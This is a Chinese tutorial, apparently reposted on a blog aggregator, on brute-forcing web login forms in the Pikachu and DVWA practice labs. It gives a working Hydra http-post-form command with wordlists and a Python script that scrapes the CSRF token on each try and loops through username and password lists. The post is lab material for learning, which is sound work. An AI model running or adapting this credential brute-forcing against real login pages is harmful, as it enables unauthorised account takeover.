Hydra post登录框爆破

news2024/11/27 14:45:06

文章目录

  • 无token时的Hydra post登录框爆破
  • 带Token时的Hydra post登录框爆破

无token时的Hydra post登录框爆破

登录一个无验证码和token的页面,同时抓包拦截
在这里插入图片描述

取出发送数据包:username=adb&password=133&submit=Login
将用户名和密码替换
username=USER&password=PASS&submit=Login
同时获取路径:/pikachu/vul/burteforce/bf_form.php
拼接发送数据后就是:
/pikachu/vul/burteforce/bf_form.php:username=USER&password=PASS&submit=Login
获取目标Ip:192.168.180.2
获取登录失败时的错误提示:username or password is not exists~
在这里插入图片描述

启动hydra开始爆破
hydra -L /home/kali/dic/acount.txt -P /home/kali/dic/mima.txt -V -f 192.168.180.2 http-post-form “/pikachu/vul/burteforce/bf_form.php:username=USER&password=PASS&submit=Login:username or password is not exists~”
-f表示找到一个马上停止
在这里插入图片描述

带Token时的Hydra post登录框爆破

首先准备一个带token的登录页面
在这里插入图片描述

抓包可以看到存在token
在这里插入图片描述

提取其中的POST路径:/dvwa/login.php
提取ip:192.168.180.2

然后准备一个python脚本,将路径和ip替换到相应位置,如下所示

# -*- coding: utf-8 -*-
import urllib
import requests
from bs4 import BeautifulSoup
##第一步,先访问 http://127.0.0.1/login.php页面,获得服务器返回的cookie和token
def get_cookie_token(ip, url):
    headers={'Host':ip,
             'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
             'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
             'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
             'Connection':'keep-alive',
             'Upgrade-Insecure-Requests':'1'}
    res=requests.get(url,headers=headers)
    cookies=res.cookies
    a=[(';'.join(['='.join(item)for item in cookies.items()]))]   ## a为列表,存储cookie和token
    html=res.text
    soup=BeautifulSoup(html,"html.parser")
    token=soup.form.contents[3]['value']
    a.append(token)
    return a

##第二步模拟登陆
#ip 192.168.180.2
#url 'http://192.168.180.2/dvwa/login.php'
def Login(a,username,password, ip, url):    #a是包含了cookie和token的列表
    headers={'Host':ip,
             'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
             'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
             'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
             'Connection':'keep-alive',
             'Content-Length':'88',
             'Content-Type':'application/x-www-form-urlencoded',
             'Upgrade-Insecure-Requests':'1',
             'Cookie':a[0],
             'Referer':url}
    values={'username':username,
            'password':password,
            'Login':'Login',
            'user_token':a[1]
        }
    data=urllib.parse.urlencode(values)
    resp=requests.post(url,data=data,headers=headers)
    return 
#重定向到index.php
def getacount(ip, url):
    with open("acount.txt",'r') as f:
        users=f.readlines()
        stop = False
        for user in users:
            if stop == True:
                break
            user=user.strip("\n")                 #用户名
            with open("mima.txt",'r') as file:
                passwds=file.readlines()
                for passwd in passwds:
                    passwd=passwd.strip("\n")   #密码
                    a=get_cookie_token(ip, url)              ##a列表中存储了服务器返回的cookie和toke
                    Login(a,user,passwd, ip, url)
                    headers={'Host':ip,
                              'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
                              'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                              'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
                              'Connection':'keep-alive',
                              'Upgrade-Insecure-Requests':'1',
                              'Cookie':a[0],
                              'Referer':url}
                    response=requests.get(url,headers=headers)
                    #print(len(response.text))
                    content_size = len(response.text)
                    if content_size != 1562:    #如果登录成功
                       print("用户名为:%s ,密码为:%s"%(user,passwd))   #打印出用户名和密码
                       stop = True
                       break
def main():
    ip = "192.168.180.2"
    url = "http://192.168.180.2/dvwa/login.php"
    getacount(ip, url)
if __name__=='__main__':
    main()

然后开启print(len(response.text))获取错误登录时的长度
在这里插入图片描述

可以看到错误时都是1523,将该值替换到 if content_size != 1523: #如果登录成功
同时注释print(len(response.text))
可以看到顺利爆破出了用户名密码
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1170268.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

安科瑞变电站综合自动化系统在青岛海洋科技园应用

安科瑞 耿敏花 摘 要:变电站综合自动化系统是将变电站内的二次设备经过功能的组合和优化设计,利用先进的计算机技术、通信技术、信号处理技术,实现对全变电站的主要设备和输、配电线路的自动监视、测量、控制、保护、并与上级调度通信的综合性…

教你怎么用Python每天自动给女朋友免费发短信

今天的教程就是教大家怎么发送免费短信给女朋友。 发送短信接口,我知道的常见的有两个平台,一个是 twilio,可以免费发短信 500 条,可发任意信息,一个是腾讯云,可以免费发短信 100 条,需要申请短…

【C语言初阶】函数

目录 一、函数是什么 二、C语言中函数的分类 2.1 库函数: strcpy memset 2.2 自定义函数 三、函数的参数 3.1 实际参数(实参) 3.2 形式参数(形参) 四、函数的调用 4.1 传值调用 4.2 传址调用 五、函数的嵌…

【广州华锐互动】VR历史古城复原:沉浸式体验古代建筑,感受千年风华!

在科技日新月异的今天,虚拟现实(VR)技术已经成为了我们生活中不可或缺的一部分。从娱乐游戏到医疗健康,从教育培训到房地产销售,VR技术的应用领域日益广泛。而近年来,VR技术在文化遗产保护和古迹复原方面的…

警惕Mallox勒索病毒的最新变种mallox,您需要知道的预防和恢复方法。

尊敬的读者: 在这个数字时代,恶意软件不再是仅限于技术领域的威胁,而是每个人都可能面临的潜在风险。其中,.mallox勒索病毒崭露头角,它不仅能够以不可思议的方式加密您的数据,还能要求您支付赎金以获取解密…

行业观察:数字化企业需要什么样的数据中心

伴随着数字经济在中国乃至全球的高速发展,数字化转型已经成为广大企业的必经之路。而作为数字经济的核心基础设施,数据中心充当了接收、处理、存储与转发数据流的“中枢大脑”,对驱动数字经济发展和企业数字化转型起到了极为关键的重要作用。…

vue中的rules表单校验规则使用方法 :rules=“rules“

一、el-form里面必写属性值 :ref"dataForm" // 提交表单时进行校验 :rules"rules" // return 下的校验规则 :model"userForm" // 绑定表单的值 <el-formref"dataForm" // 必写属性值:rules"rules"…

通过在Z平面放置零极点的来设计数字滤波器

文章来源地址&#xff1a;https://www.yii666.com/blog/393376.html 通过在Z平面放置零极点的来设计数字滤波器 要求&#xff1a;设计一款高通滤波器&#xff0c;用在音频信号处理过程中&#xff0c;滤掉100Hz以下的信号。 实现方法&#xff1a;通过在Z平面放置零极点的来设…

(景行锐创) 高性能计算平台 Pytorch 深度学习环境超详细教程

文章目录 前言1. 账号申请2. 登录高算平台网站3. 安装 Xshell&#xff0c;Xftp 软件4. 连接高算平台5. 安装 Anaconda6. 安装 CUDA7. 配置 cuDNN8. 安装 torch 和 torchvision9. 提交作业测试10. 解压与压缩文件11. 其他结语 前言 目前一些学校为了便于师生进行大规模的计算任…

Aop自定义注解生成日志

Aop自定义注解生成日志 1.编写自定义注解 //表示此注解可以标注在方法上 Target(ElementType.METHOD) //运行时生效 Retention(RetentionPolicy.RUNTIME) public interface OpetionLog {//定义一个变量&#xff0c;可以接收参数String value() default "";}2.Cont…

Leetcode 剑指 Offer II 051. 二叉树中的最大路径和

题目难度: 困难 原题链接 今天继续更新 Leetcode 的剑指 Offer&#xff08;专项突击版&#xff09;系列, 大家在公众号 算法精选 里回复 剑指offer2 就能看到该系列当前连载的所有文章了, 记得关注哦~ 题目描述 路径 被定义为一条从树中任意节点出发&#xff0c;沿父节点-子节…

微信CRM系统在电商行业的应用

随着移动互联网的快速发展&#xff0c;微信已经成为电商行业重要的营销和客户服务渠道。然而&#xff0c;如何在海量的微信消息中保持客户沟通、提升客户体验、实现精准营销&#xff0c;是电商行业面临的一大挑战。微信CRM系统作为一种新型的客户关系管理工具&#xff0c;可以有…

【qemu逃逸】HWS2017-FastCP

前言 虚拟机用户名&#xff1a;root 虚拟机密码&#xff1a;无密码 本题有符号&#xff0c;所以对于设备定位啥的就不多说了&#xff0c;直接逆向设备吧。 设备逆向 在 realize 函数中设置一个时钟任务&#xff0c;并且可以看到只注册了 mmio&#xff0c;大小为 0x100000。…

Web应用多账号系统设计及微信扫码登录实现

1 前言概述 公司对功能测试&#xff0c;性能测试&#xff0c;安全测试等等都做了比较好的自动化后&#xff0c;急需要一个MIS系统来统一管理这些结果及报表。 此MIS系统特点如下&#xff1a; 仅内部人员使用部署在公网 基于如上特点&#xff0c;显然让公司的人为这样一个…

算法随想录算法训练营第四十九天| 503.下一个更大元素II 42. 接雨水

503.下一个更大元素II 题目&#xff1a;给定一个循环数组 nums &#xff08; nums[nums.length - 1] 的下一个元素是 nums[0] &#xff09;&#xff0c;返回 nums 中每个元素的 下一个更大元素 。数字 x 的 下一个更大的元素 是按数组遍历顺序&#xff0c;这个数字之后的第一个…

mes生产管理系统| T-MES管理软件 智能制造 生产协同

思伟软件 T-MES管理软件 智能制造 生产协同 智能制造协同管理 告别繁琐 不再出错 打通混凝土电子化生产全流程 提升搅拌站调度效率 原材料进料监管安全有保障 跨部门高效协同 生产部 管理销售合同、任务单&#xff0c;下达生产任务&#xff1b; 查看/修改/导出/打印发货…

OpenGL库安装

1 库安装本文不说 Win10 GLEW GLFW OpenGL VS2019 环境配置 - 知乎 (zhihu.com) 安装osg库&#xff0c;里面也有GL第三方库的下载方法&#xff0c;见我其他博客 2 OpenGL入门案例一 #include <GL/glut.h>void display() {glClear(GL_COLOR_BUFFER_BIT);glBegin(GL…

前端下载后端文件流,文件可以下载,但是打不开,显示“文件已损坏”的问题分析与解决方案

目录 场景还原相关代码开发者工具 - 网络请求记录 问题排查定位改bug 总结 场景还原 我在前端使用axios接收后端xlsx表格文件流并下载&#xff0c;xlsx文件能够下载成功&#xff0c;但是打开却显示文件无法打开 相关代码 请求API封装:Content–Type以及responseType经核对均…

使用navicat操纵数据库

<1>连接数据库 打开Navicat&#xff0c;点击“连接”&#xff0c;选择“MySQL”&#xff0c;这边是本机安装的mysql,主机为localhost&#xff0c;输入root密码。 使用Navicat创建数据库并导入SQL文件 SQL查询 普通SQL查询 USE demo; SELECT * FROM t_emp;SELECT emp…

HNU程序设计 练习四-数组(强化)

1.快速公交BRT 【问题描述】 在城市里&#xff0c;快速公交&#xff08;BRT&#xff09;线路为一条直线&#xff0c;在其线路上有 n 个交叉路口&#xff0c;在每个路口都有一个交通信号灯&#xff0c;在红灯与绿灯之间周期性循环。 在绿灯亮起持续 g 秒的期间&#xff0c;允许…